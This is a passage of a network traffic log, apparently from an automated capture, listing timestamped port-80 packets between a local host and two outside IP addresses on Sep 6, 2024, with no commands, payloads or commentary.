Sep 6, 2024 08:17:07.339241982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339252949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339258909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339263916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339279890 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.339319944 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.339319944 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.339390993 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339401007 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339411974 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339416981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339422941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339435101 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339440107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339446068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339473963 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.339489937 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.339489937 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.339586020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339641094 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.339652061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339657068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339663029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339668036 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339684963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339689970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339695930 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339720964 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.339781046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339792013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339827061 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.339839935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339847088 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339876890 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.340008974 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340018988 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340027094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340033054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340065002 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.340568066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340579033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340584993 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340607882 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.340739965 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340744972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340755939 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340761900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340770006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.340786934 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.340806961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.340806961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.341370106 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.341376066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.341387987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.341424942 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.341435909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.341442108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.341454029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.341459036 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.341464043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.341485977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.341500998 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.341500998 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.342281103 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.349761963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349767923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349783897 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349818945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349823952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349834919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349841118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349858999 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.349917889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349924088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349930048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349935055 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349940062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.349951029 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.349981070 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.349981070 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350028038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350033998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350049973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350054979 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350059986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350070000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350075960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350083113 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350094080 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350161076 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350173950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350184917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350188971 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350193977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350203991 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350203991 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350239038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350244045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350261927 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350274086 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350296974 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350317955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350323915 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350348949 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350352049 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350358009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350369930 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350384951 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350393057 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350398064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350438118 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350497007 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350502968 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350509882 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350517988 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350528002 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350543022 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350543022 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350821972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350853920 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350869894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350873947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350914001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350919962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350929976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350951910 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.350965023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350972891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.350999117 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351298094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351304054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351315022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351327896 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351357937 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351363897 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351365089 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351365089 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351375103 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351382017 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351387024 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351394892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351417065 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351485014 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351490974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351502895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351507902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351520061 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351520061 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351540089 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351572037 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351572037 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351605892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351612091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351639986 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351699114 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351703882 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351716042 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351722002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351727009 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351727962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351736069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.351747036 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351773977 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.351773977 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.352144003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352149963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352160931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352165937 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352200031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352205992 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352210999 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352227926 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.352271080 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352277040 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352288008 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352307081 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.352332115 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.352332115 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.352407932 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352413893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352605104 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352891922 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.352940083 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.353023052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.353029966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.353461027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.353465080 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.353482008 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.353487968 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.353492022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.353494883 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.353497982 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.353504896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.353511095 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.353513956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.353532076 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.353533030 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.353610992 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.357501984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357508898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357521057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357588053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357593060 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357603073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357608080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357614040 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357625008 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.357628107 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357634068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357640028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357666969 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.357688904 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357692003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.357692003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.357695103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357706070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357709885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357738018 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.357777119 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.357777119 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.357944012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357949972 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357960939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.357966900 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358016968 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.358103037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358108997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358114958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358118057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358123064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358128071 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358133078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358139992 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.358139992 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.358182907 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.358182907 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.358293056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358299017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358309031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358314991 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358320951 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358325958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358336926 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358341932 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358360052 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.358397007 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.358397007 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.358426094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358586073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358592987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358597994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358603001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358608007 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358613968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358649969 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.358731031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358736992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358747005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358752012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.358777046 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.359857082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359868050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359879017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359884024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359889984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359903097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359905005 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.359905005 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.359909058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359925032 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359930038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359940052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359946966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359951019 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.359952927 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.359972000 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.360002041 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.360049963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360054970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360060930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360065937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360075951 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360090971 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.360090971 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.360328913 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360335112 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360346079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360352039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360357046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360373020 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.360373020 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.360553980 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360559940 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360570908 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360582113 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360589027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360594034 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.360599995 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360605955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.360620022 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.360620022 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.362273932 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.362734079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.362737894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.362749100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.362755060 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.362759113 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.362795115 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.362845898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.362852097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.362858057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.362860918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.362885952 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.364882946 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.365180969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365185976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365191936 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365217924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365222931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365236044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365241051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365253925 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365370035 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.365370035 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.365379095 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.365412951 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365417957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365425110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365432024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365472078 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.365472078 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.365550041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365556955 CEST	80	49737	147.45.44.104	192.168.2.4
